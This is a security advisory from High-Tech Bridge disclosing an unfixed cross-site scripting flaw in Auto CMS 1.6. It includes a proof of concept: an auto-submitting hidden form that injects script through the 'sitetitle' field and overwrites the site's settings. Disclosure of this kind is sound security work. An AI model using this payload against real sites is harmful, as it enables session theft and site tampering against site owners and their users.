XSS vulnerability in Auto CMS

Vulnerability ID: HTB22564
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_auto_cms.html
Product: Auto CMS
Vendor: Roberto Aleman ( http://ventics.com/autocms/ )
Vulnerable Version: 1.6 and Probably Prior Versions
Vendor Notification: 09 August 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "autocms.php" script to properly sanitize user-supplied input in "sitetitle" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php&quot; method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="site_name" value="AutoCMS by Roberto Aleman" />
<input type="hidden" name="site_url" value="index.php" />
<input type="hidden" name="sitetitle" value='AutoCMS by Roberto Aleman"><script>alert("XSS")</script>' />
<input type="hidden" name="admin_email" value="[email protected]" />
<input type="hidden" name="admin_password" value="" />
<input type="hidden" name="css_file" value="black.css" />
<input type="hidden" name="index_name_link" value="Index" />
<input type="hidden" name="about_name_link" value="About" />
<input type="hidden" name="about_content" value="put about text here" />
<input type="hidden" name="ps_name_link" value="" />
<input type="hidden" name="ps_content" value="put producs and services text here" />
<input type="hidden" name="news_name_link" value="News" />
<input type="hidden" name="news_content" value="Title Example1: Text Example1/Title Example2: Text Example2/" />
<input type="hidden" name="contact_name_link" value="Contact" />
<input type="hidden" name="update" value="update" />

</form>
<script>
document.main.submit();
</script>